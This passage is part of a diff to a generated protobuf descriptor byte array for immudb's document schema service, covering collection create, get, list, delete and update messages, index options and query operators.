0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x80, + 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, + 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, + 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, + 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, - 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, - 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, - 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, + 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, - 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, - 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, + 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, + 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, - 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, - 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, - 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, - 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, - 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, - 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, - 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, - 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, - 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, - 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, - 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, + 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, + 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, + 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 